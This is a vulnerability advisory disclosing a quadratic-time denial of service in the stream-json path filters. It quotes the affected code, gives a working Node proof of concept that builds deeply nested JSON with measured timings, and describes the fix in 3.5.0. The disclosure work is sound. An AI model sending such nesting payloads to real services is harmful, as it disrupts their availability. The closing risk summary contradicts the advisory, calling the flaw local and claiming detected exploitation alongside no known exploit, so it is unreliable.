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GHSA-528h-pc64-c93x
Description
The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).
This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.
Affected code (v3.4.0)
src/core/filters/filter-base.js:
// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
const stringWithSeparator = string + separator;
return stack => {
const path = stack.join(separator); // O(depth) — every call
return path === string || path.startsWith(stringWithSeparator);
};
};
// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
return stack => {
regExp.lastIndex = 0;
return regExp.test(stack.join(separator)); // O(depth) — every call
};
};
// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;
stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.
Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.
Proof of concept
npm i stream-json@3.4.0
node poc-quadratic-dos.mjs
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';
function run(D) {
const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
return new Promise((resolve) => {
const t0 = process.hrtime.bigint();
const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
pipeline.on('data', () => {});
pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
pipeline.write(doc); pipeline.end();
});
}
for (const D of [5000, 10000, 20000, 40000]) {
const r = await run(D);
console.log(`D=${r.D} bytes=${r.bytes} ms=${Math.round(r.ms)}`);
}
Measured (Node v24, single core, clean npm i stream-json@3.4.0):
D=5000 bytes= 45001 ms= 160
D=10000 bytes= 90001 ms= 603 (3.8x for 2x input -> quadratic)
D=20000 bytes=180001 ms= 2511 (4.2x)
D=40000 bytes=360001 ms=11823 (4.7x)
A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.
Impact
Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.
Suggested fix
Maintain the joined path incrementally instead of rejoining the whole stack per token:
- On
startObject/startArraypush: appendseparator + keyto a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length.
- Filters test/
startsWithagainst the cached string — O(1) amortized per token, making the whole traversal O(D).
Alternatively expose/enforce a maximum nesting depth for the filter path check.
Resolution
Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.
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The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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